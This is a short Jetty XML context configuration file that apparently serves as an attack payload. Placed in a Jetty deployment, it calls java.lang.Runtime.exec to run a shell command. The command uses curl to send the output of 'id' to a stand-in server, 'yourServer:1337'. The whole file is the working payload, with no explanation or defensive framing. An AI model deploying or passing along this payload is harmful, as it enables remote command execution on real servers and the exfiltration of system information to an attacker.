<?xml version="1.0"?> <!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "https://www.eclipse.org/jetty/configure_10_0.dtd"> <Configure class="org.eclipse.jetty.server.handler.ContextHandler"> <Call class="java.lang.Runtime" name="getRuntime"> <Call name="exec"> <Arg> <Array type="String"> <Item>/bin/sh</Item> <Item>-c</Item> <Item>curl -F "r=`id`" http://yourServer:1337/</Item> </Array> </Arg> </Call> </Call> </Configure>